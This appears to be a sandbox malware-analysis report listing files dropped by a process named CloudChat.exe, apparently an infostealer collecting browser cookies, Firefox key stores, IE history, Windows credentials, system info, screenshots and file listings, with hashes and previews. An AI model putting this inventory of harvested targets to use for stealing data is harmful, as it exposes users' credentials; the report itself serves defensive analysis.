Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\FireFox\v6zchhhv.default-release\cookies.sqlite

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\FireFox\v6zchhhv.default-release\key4.db

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08438200565341271
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v4U:51zkVmvQhyn+Zoz67NU
MD5:	F7EEE7B0D281E250D1D8E36486F5A2C3
SHA1:	309736A27E794672BD1BDFBAC69B2C6734FC25CE
SHA-256:	378DD46FE8A8AAC2C430AE8A7C5C1DC3C2A343534A64A263EC9A4F1CE801985E
SHA-512:	CE102A41CA4E2A27CCB27F415D2D69A75A0058BA0F600C23F63B89F30FFC982BA48336140714C522B46CC6D13EDACCE3DF0D6685D02844B8DB0AD3378DB9CABB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\FireFox\v6zchhhv.default-release\permissions.sqlite

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 3, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.06471991575636635
Encrypted:	false
SSDEEP:	12:DBl/ExWla0mwPxRymgObsCVR45wcYR4fmnsCVR4Y:DLEvsh7Owd4+v
MD5:	E84479E938EA57E7C04283595B44EF2A
SHA1:	A4B4241E1112B047A2C9F88D2A172D215934F9D0
SHA-256:	FAC37397EE3CF14D8714EDE1340864A5EB9CB8B70D0FE3DF0AADE06444B2E41D
SHA-512:	F5C60F6BEF080ED7DE8D363A1D06041CC41277603A229FDEE777D07537CAACD1992F7704F9924A351444EF10BCE9F78032B0C33BEC8B066B521B52FDD3872A0C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\FireFox\v6zchhhv.default-release\places.sqlite

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\IE\IE_books.txt

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	728
Entropy (8bit):	5.029707424670609
Encrypted:	false
SSDEEP:	12:K6kak229cmvcDPOOKaxjUGyOJBOJ6KyZJ5iVcdmXYO8K0D2G/a:KPaADETPZFDOYz9TKih/a
MD5:	D22FBC98D230A687061AC005D6FFCE37
SHA1:	A6B39ECC5E78C89E9A96613BF2B8141211976E43
SHA-256:	2E6EC63D40FEF0EB8A986B930D8F32B2FAC31D4AD96AF95D53018565C72C0D63
SHA-512:	F9B03619E291084064F36218610B89ADA305F621D2DB550E3135E40AFDF0E3C1040EB03B342868E918F5210CA6062C29325179C09819B78250BA83E8610C3EE9
Malicious:	false
Preview:	.C:\Users\user\Favorites\Amazon.url...URL=http://www.amazon.com/....C:\Users\user\Favorites\Bing.url...URL=http://go.microsoft.com/fwlink/p/?LinkId=255142....C:\Users\user\Favorites\Facebook.url...URL=http://www.facebook.com/....C:\Users\user\Favorites\Google.url...URL=http://www.google.com/....C:\Users\user\Favorites\Live.url...URL=http://www.live.com/....C:\Users\user\Favorites\NYTimes.url...URL=http://www.nytimes.com/....C:\Users\user\Favorites\Reddit.url...URL=http://www.reddit.com/....C:\Users\user\Favorites\Twitter.url...URL=http://www.twitter.com/....C:\Users\user\Favorites\Wikipedia.url...URL=http://www.wikipedia.com/....C:\Users\user\Favorites\Youtube.url...URL=http://www.youtube.com/....

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\IE\IE_history.txt

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.794297112780253
Encrypted:	false
SSDEEP:	3:IRR1kKLIetR7LOOKapMhFn:szD8eDPOOKaihF
MD5:	A4F4BD0A4FBEE1AF6BBB1A8A64721EEE
SHA1:	C000059D7466DD25739F846CBBF454E512DEB5FA
SHA-256:	7C0A808E52F7AC47D2D56ECFFE6C209B4E52A57FCD4036196E91E183A16959B9
SHA-512:	F0386708B7F481F4585EA0693B9C789A2516677D32D431B404DD9A5A4D67CA615CB4A700DA3ECD79C7FCAA512BCB4F0F8ADB8E06B337684D8C2AFC894DC9BFD8
Malicious:	false
Preview:	.http://go.microsoft.com/fwlink/p/?LinkId=255141..

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\IE\IE_passwords.txt

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.2371377900594425
Encrypted:	false
SSDEEP:	3:GIFTIAFwEzXB5a4MIG6:rF7lXva4MIB
MD5:	FB49E76375D0B8A0E636A1D5BA3BA81C
SHA1:	F39BA72D4550C8B551C800E4792534FE51034031
SHA-256:	8A102EA9CD89A07410D212EEF74454C944EEC19C5CE25069CD333CAB3B85C09D
SHA-512:	0B8F3F60436DCBD1AC4C05833964F071E46841CAB80F879A2AA7DC7D8A304E784FDD0F38961B8AE4A6368868252F1BA3D6916A4D3D0869DB54593931D1A7E0F9
Malicious:	false
Preview:	.Don't support recovery IE password from wow64 process

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\Credentials.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (13580), with no line terminators
Category:	dropped
Size (bytes):	13597
Entropy (8bit):	6.08712451781966
Encrypted:	false
SSDEEP:	384:VGetNX9fiJrDX3uTVtrtt3SBq3DUqCd+cjr/iJn3rtp1z/BRAEBOtL4wsjGokL4g:s0zq3ehNjzUjraVNlOtEk
MD5:	8751FE8991A1B896958EA2E0A3359376
SHA1:	A2AAD4C406113C8238FA586F2736CAF3841E4CBD
SHA-256:	076B801E91A3985BCA8CDD57E6177CD929B910432927A215565C4A2A4334B525
SHA-512:	83C772DF44A25B174D32D95CC283C7AC8CD3EB496226098329A3E3343AD173CB92F4843BBEB7CE4DA6508A299CB86205BDEFABAE7D2D3CFD28F3A253E3B25248
Malicious:	false
Preview:	.[{"\u0002":0,"\u0003":1,"\u0005":"WindowsLive:target=virtualapp/didlogical","\b":"PersistedCredential","\u0006":{"dwLowDateTime":1961652838,"dwHighDateTime":31061704},"\u000e":0,"\u000f":"","\u0002.":"","\u0003.":2,"\u0005.":32,"\b.":[{"\u0002":"Microsoft_WindowsLive:authstate:0","\u0003":0,"\u0005":256,"\b":"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAG7I4XamucEiJgTIvWNrX8QAAAAACAAAAAAAQZgAAAAEAACAAAABYxnOG+EFcsY/CdRa2YAQdDapDAvUTgx2HlfsId1/tHAAAAAAOgAAAAAIAACAAAAB1+0LZbtmQHP1cEQXr9u+azVEe/YPP+r7rpe/W3lPYpmAeAACQQDwvQWLqeTT9KgxCuvZHDpsw97o2qffHRHbx0ZXiYGlFriKqMWc+Pvz3aRUT7HQqNlXX/DfdeE6+jxxEYWleWQNBq8PodC1pp5uXyoys2HEGx/oy70MHnKGkWEXm+CP6U3LBLmQy+DkCdK+2dA=="},{"\u0002":"Microsoft_WindowsLive:authstate:1","\u0003":0,"\u0005":256,"\b":"uhAW2WV5D0QC8w85K8oKKBqjeHnYZwp1Q/FAQ8TzjdzBqljwO/u71BPfUugVM+HBMCCo33/sbU/omCuQf6+bOWnIML7cxSTRVGdrjZ7RCbZ+BBrGFglinXWFbMAtaETdymDogbvKKX+Qw7+Zh4PhPWCa/AWK4sD7p5ac5vPmwAzsLJzrxg+PpkwafI8/MXFFnuBaDqcgtL3GQYU8Ovp3TUrbAtEOFMrGOe7Vhuehzw7jz11jx5VMdCLHf7yiUtN

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\DNSCache.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (1498), with no line terminators
Category:	dropped
Size (bytes):	1501
Entropy (8bit):	4.745533273454026
Encrypted:	false
SSDEEP:	24:hceXwei7EJhuvMzuv5zuv9UYkq1Fnq2AqRqFV+ebrebN+ol7l2R+XolZR+mlEol/:hceXwei7EJhuUzuBzulsqgkW+O0+ol7m
MD5:	B497A2E633525084B5FC387A93C924A5
SHA1:	4D8C53F84DD379545D9D71DAE75AAE5BA5714A2A
SHA-256:	68B3B9699806C0C1B60436B779E7A1838C5DAACCD4631A1039B94896542226E5
SHA-512:	5534928ABB691FCE976D7671D0F42D4C19B45C0E162203A9CAF8D402DD5390A00C923EFAF2303657F98F3FDB558374C001791841EF7968BBEDE36C5FCC368FE0
Malicious:	false
Preview:	.[{"Entry":"ctldl.windowsupdate.com","Name":"ctldl.windowsupdate.com","Data":"ctldl.windowsupdate.com.delivery.microsoft.com"},{"Entry":"ctldl.windowsupdate.com","Name":"ctldl.windowsupdate.com.delivery.microsoft.com","Data":"wu-b-net.trafficmanager.net"},{"Entry":"ctldl.windowsupdate.com","Name":"wu-b-net.trafficmanager.net","Data":"bg.microsoft.map.fastly.net"},{"Entry":"ctldl.windowsupdate.com","Name":"bg.microsoft.map.fastly.net","Data":"199.232.214.172"},{"Entry":"ctldl.windowsupdate.com","Name":"bg.microsoft.map.fastly.net","Data":"199.232.210.172"},{"Entry":"gitlab.com","Name":"gitlab.com","Data":"172.65.251.78"},{"Entry":"ocsp.digicert.com","Name":"ocsp.digicert.com","Data":"ocsp.edge.digicert.com"},{"Entry":"ocsp.digicert.com","Name":"ocsp.edge.digicert.com","Data":"fp2e7a.wpc.2be4.phicdn.net"},{"Entry":"ocsp.digicert.com","Name":"fp2e7a.wpc.2be4.phicdn.net","Data":"fp2e7a.wpc.phicdn.net"},{"Entry":"ocsp.digicert.com","Name":"fp2e7a.wpc.phicdn.net","Data":"192.229.221.95"},{

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\IP.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	199
Entropy (8bit):	4.967438725667632
Encrypted:	false
SSDEEP:	6:b9WHtHJVD+gAtH2YSDgNnUT/TadwB/Ed3MXtjiWRrRM:Ib7uH2vAUn9cd3MdbM
MD5:	A38F3E891E0D7B844E7000796575A00F
SHA1:	029DCA21F668F0C093CD3DD09C0028D86EA14B94
SHA-256:	53F873BADB8B7EFCB76B692599EA79BCBFA41700D8BB484911FA220CE3265EF0
SHA-512:	4BCD4792A5F0AE08EB42E88F56B2013DD5F8BCD322E453DA2D1949F76947124E575F652722C2FEB244775FF6382E824C88662AEF1B158FD39FF940BA5FD9F279
Malicious:	false
Preview:	.{. "args": {}, . "headers": {. "Host": "httpbin.org", . "X-Amzn-Trace-Id": "Root=1-66fa7b7e-47af310706bd748274ced38a". }, . "origin": "8.46.123.33", . "url": "http://httpbin.org/get".}.

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\InstalledApp

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.2602415798264515
Encrypted:	false
SSDEEP:	6:AA8akIju3dLj2/Z3qxm6u3+2HIso3tOdU1ZPUOJlgPN3dw8U0dfFquqs3AVUL:zrCZixD6uPosoF1ZPUycU8U0b+O
MD5:	56B540AC5CA527969ACA0A913BB255C8
SHA1:	5C878F4EA82FF8CF149CD726DA450AB11C99EAB4
SHA-256:	3D166DA38455B417CEE31F9B41E7D0ED9D45F7016E8796CD790850255EEF91E3
SHA-512:	1A03438571566FAA820D2A1B7A258640F14B155D36361059642B3CC124D41E3655A4A074B56E581E4B3C2AC41BD3CFA073DD9E1590C27B0B012EE52EDF8119DE
Malicious:	false
Preview:	.Google Chrome\|117.0.5938.132..Microsoft Edge\|117.0.2045.47..Microsoft Edge Update\|1.3.177.11..Microsoft Edge WebView2 Runtime\|117.0.2045.47..Java Auto Updater\|2.8.381.9..Java 8 Update 381\|8.0.3810.9..Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532\|14.36.32532.0..Office 16 Click-to-Run Extensibility Component\|16.0.16827.20130..

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\Process.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (48002), with no line terminators
Category:	dropped
Size (bytes):	48005
Entropy (8bit):	5.551925489182551
Encrypted:	false
SSDEEP:	384:clN/x2OWrVdHutPOzBgvoQros+xyufUjOMNjT3jFYjx7ljmuj/:Kq3UjNNjT3jFYjhljmuj/
MD5:	7B406BC1FE1D02A1BA0BE59A4AA6EF27
SHA1:	22A49C1753E7B5D458B7BA6E2CE519A9F78B788E
SHA-256:	F10117654910E7E32BCEDF0D404945A44C93ED954985A3AB3D32A326723EE868
SHA-512:	5772E351689090EDCD49537331CC6540E085281B80CD05D5F58AE8956F9D0B3EAD29F86D1DD73878B9157698C29608177D6C52C730A781D44E9CC15459E580B5
Malicious:	false
Preview:	.[{"Name":"System Idle Process","Pid":"0","UserName":"","ExecutablePath":"","CommandLine":""},{"Name":"System","Pid":"4","UserName":"","ExecutablePath":"","CommandLine":""},{"Name":"Registry","Pid":"92","UserName":"","ExecutablePath":"","CommandLine":""},{"Name":"smss.exe","Pid":"332","UserName":"","ExecutablePath":"","CommandLine":""},{"Name":"csrss.exe","Pid":"420","UserName":"","ExecutablePath":"","CommandLine":""},{"Name":"wininit.exe","Pid":"496","UserName":"","ExecutablePath":"","CommandLine":""},{"Name":"csrss.exe","Pid":"504","UserName":"user-PC\\user","ExecutablePath":"","CommandLine":""},{"Name":"winlogon.exe","Pid":"564","UserName":"user-PC\\user","ExecutablePath":"C:\\Windows\\system32\\winlogon.exe","CommandLine":"winlogon.exe"},{"Name":"services.exe","Pid":"632","UserName":"","ExecutablePath":"","CommandLine":""},{"Name":"lsass.exe","Pid":"640","UserName":"","ExecutablePath":"C:\\Windows\\system32\\lsass.exe","CommandLine":"C:\\Windows\\system32\\lsass.exe"},{"N

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\ScreenShot0.jpg

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	78671
Entropy (8bit):	7.718687351399001
Encrypted:	false
SSDEEP:	1536:C38JDShGp3A/o1X28tpsVKhCkyLFhEUVkAjli3a/Md/l/4RRdw8mg:bDlhA/o1mu4vkshEUVkpq/MdB4ll/
MD5:	2417AF45E9F763644302F1AD88D83D37
SHA1:	AF3930882A6F6775BEFC68F04DFB21B260C58C7F
SHA-256:	9D10DD86D0B31E2576E2E310F03F5B9F52A4A1B3E727D77ECE6E568F2AFBCD58
SHA-512:	95CE6A73D48B2D8C030ED4F5E14E0F83E778C86697E7F009967AD7A0D82D20E8FD45F5846F637EF7E87252780F08287B167755CEA1B308AAF3EDDB2B2B8DA336
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.z..p.....MR...%.f..r.....Uf.....?.2......S.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..o.<-...OF.....j.#?........x..........#..........9.+..........e\.../n-.n.dh.c...k....1.q...y5..r..N.)W...O.d.QEw.!E.P11E-u>....k..V6....#..e...?)....^~a...b.y.}....G...1.%79.F.....W_.9Z+....]xW.._.1/...G.+.....+..&%........

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\SystemInfo.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (5423), with no line terminators
Category:	dropped
Size (bytes):	5426
Entropy (8bit):	5.134498854004938
Encrypted:	false
SSDEEP:	96:2PET0t5VAXo9rVDKTo8eevy9tCeaPbTA5YjiRUYTL/q3p5TBaDrN/rHVCMTQClaZ:+LZAXouo8eCy9MZyTbK5FCx724oQxrSd
MD5:	DFC79319EDCDF513E856E8020509C9F1
SHA1:	AA83535A8038539A980C06615FF7B131035F9803
SHA-256:	6EDC90F235E565C9508D2E99848A8899DA368A6E52B8D6A41C56C55A349B6864
SHA-512:	A435457EB271A79E5C368A119D39F3949004300F31116F0EA3F1220CFF7E55FC175296FA77ABAF32EAC122A9499C5D8330A69694551CB48DC802DC943D1EB616
Malicious:	false
Preview:	.[["OSFullName:","Microsoft Windows 10 Pro"],["Win32_OperatingSystem","[[\"BootDevice\",\"\\\\Device\\\\HarddiskVolume1\"],[\"BuildNumber\",\"19045\"],[\"BuildType\",\"Multiprocessor Free\"],[\"Caption\",\"Microsoft Windows 10 Pro\"],[\"CodeSet\",\"1252\"],[\"CountryCode\",\"44\"],[\"CreationClassName\",\"{B84DFBE0-B796-43DC-9DAB-7B0537AF4A95}\"],[\"CSCreationClassName\",\"Win32_ComputerSystem\"],[\"CSName\",\"user-PC\"],[\"CurrentTimeZone\",\"120\"],[\"DataExecutionPrevention_32BitApplications\",\"True\"],[\"DataExecutionPrevention_Available\",\"True\"],[\"DataExecutionPrevention_Drivers\",\"True\"],[\"DataExecutionPrevention_SupportPolicy\",\"2\"],[\"Debug\",\"False\"],[\"Description\",\"\"],[\"Distributed\",\"False\"],[\"EncryptionLevel\",\"256\"],[\"ForegroundApplicationBoost\",\"2\"],[\"FreePhysicalMemory\",\"2995100\"],[\"FreeSpaceInPagingFiles\",\"4194304\"],[\"FreeVirtualMemory\",\"7343924\"],[\"InstallDate\",\"20231003105718.000000+120\"],[\"LastBootUpTime\",\"202309241613

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\UserFiles.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (2058), with no line terminators
Category:	dropped
Size (bytes):	2061
Entropy (8bit):	4.997851538481236
Encrypted:	false
SSDEEP:	24:gF243p/HpBR178FxGQPnQRd17HqCCY4O/M9tqBsZyj/LD7uFboi2Gd17Jq8MW4MC:QhRqCTjvKUPGd57IF
MD5:	C455EC79313E1B17738A52290BB1DDBB
SHA1:	1887B9795053910260ACD3076537D202D042BE15
SHA-256:	79F5B7F9BDEC4F48D2AFFBC5B81BD61D207A039272F0AF5C7630A60C97D6078F
SHA-512:	66EDA4A339F3D0D6CF499F0AC34817FDFAB04A38C9B49F49D72E9F3CAB2B0BD575BC6B656F6D5E24589F2D106E47368E1D8FAC893B8999A42A092B40D5B81441
Malicious:	false
Preview:	.["C:\\Users\\user\\Desktop\\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe","C:\\Users\\user\\Desktop\\AFWAAFRXKO.png","C:\\Users\\user\\Desktop\\CloudChat.lnk","C:\\Users\\user\\Desktop\\desktop.ini","C:\\Users\\user\\Desktop\\Excel.lnk","C:\\Users\\user\\Desktop\\FACWLRWHGG.mp3","C:\\Users\\user\\Desktop\\FACWLRWHGG.pdf","C:\\Users\\user\\Desktop\\IVHSHTCODI.docx","C:\\Users\\user\\Desktop\\IVHSHTCODI.xlsx","C:\\Users\\user\\Desktop\\JDSOXXXWOA.docx","C:\\Users\\user\\Desktop\\LIccs3x2LZ.exe","C:\\Users\\user\\Desktop\\MQAWXUYAIK.png","C:\\Users\\user\\Desktop\\PSAMNLJHZW.jpg","C:\\Users\\user\\Desktop\\TTCBKWZYOC.pdf","C:\\Users\\user\\Desktop\\XQACHMZIHU.jpg","C:\\Users\\user\\Desktop\\XQACHMZIHU.xlsx","C:\\Users\\user\\Desktop\\ZSSZYEFYMU.mp3","C:\\Users\\user\\Desktop\\AIXACVYBSB","C:\\Users\\user\\Desktop\\IVHSHTCODI","C:\\Users\\user\\Desktop\\JDSOXXXWOA","C:\\Users\\user\\Desktop\\PSAMNLJHZW","C:\\Users\\user

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\UserSOFTWARE.reg

Download File

Process:	C:\Windows\SysWOW64\reg.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	9839524
Entropy (8bit):	3.692497954078654
Encrypted:	false
SSDEEP:	6144:15AWkfFjJVKsaIhXgAP/KdkvlVmsicUd95J5RF9QNLQ3dvI7ziWmWNw5kdcAVUje:bzLmlVmi+6Nc3dCvd84vigwPGsK7b5
MD5:	6CEA81E31CA41C0E65B9C948F87B2A91
SHA1:	C89AA61FB44251AF4830510161C55EEECFD96420
SHA-256:	0E1409612385D8FD3C8C1F76B7187EB2CB425987BFE4E15D0027297231C13AAA
SHA-512:	2FC418760065A75DD57D39D1A11890767E104431BC6D3870292709934873E01A6DCC7084CF6D041BA470CA002C7AB5700327766B2A30588E99DF62D366D69084
Malicious:	false
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.\.1.0...0.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.\.1.0...0.\.s.e.c.u.r.i.t.y.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.\.1.0...0.\.s.e.c.u.r.i.t.y.\.c.a.s.p.k.i.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.\.1.0...0.\.s.e.c.u.r.i.t.y.\.c.a.s.p.k.i.\.c.a.s.p.k.i.].........[.H.K.E.Y._.C.U.R.R.E.N.T._.U.S.E.R.\.S.O.F.T.W.A.R.E.\.A.d.o.b.e.\.a.c.r.o.b.a.t. .r.e.a.d.e.r.\.1.0...0.\.s.e.

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\UsersInfo.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	19
Entropy (8bit):	2.604807463502869
Encrypted:	false
SSDEEP:	3:TJHJ0n:Fen
MD5:	EE5718C934FACE3BA78D738DB788F286
SHA1:	F5700666F8C2DE024FCBAA02A7D4EAF9B3D831C8
SHA-256:	55A018CE15AFB721170BA8275B9C52D8AF777E43C67F22FC89ED0A8DE13FE563
SHA-512:	DA454B691054F18F64410D37BB51F67FFF275EB2483EE6D2396490D68B4A3F8094BD1F238C5F56D3EC6AD914EF65C1A8EC8D98A953D31522CC6653F29697FD6A
Malicious:	false
Preview:	.[{},{},{},{},{}]

C:\Users\user\AppData\Local\Temp\REG7885.tmp

Download File

Process:	C:\Windows\SysWOW64\reg.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	9839524
Entropy (8bit):	3.692497954078654
Encrypted:	false
SSDEEP:	6144:15AWkfFjJVKsaIhXgAP/KdkvlVmsicUd95J5RF9QNLQ3dvI7ziWmWNw5kdcAVUje:bzLmlVmi+6Nc3dCvd84vigwPGsK7b5
MD5:	6CEA81E31CA41C0E65B9C948F87B2A91
SHA1:	C89AA61FB44251AF4830510161C55EEECFD96420
SHA-256:	0E1409612385D8FD3C8C1F76B7187EB2CB425987BFE4E15D0027297231C13AAA
SHA-512:	2FC418760065A75DD57D39D1A11890767E104431BC6D3870292709934873E01A6DCC7084CF6D041BA470CA002C7AB5700327766B2A30588E99DF62D366D69084
Malicious:	false
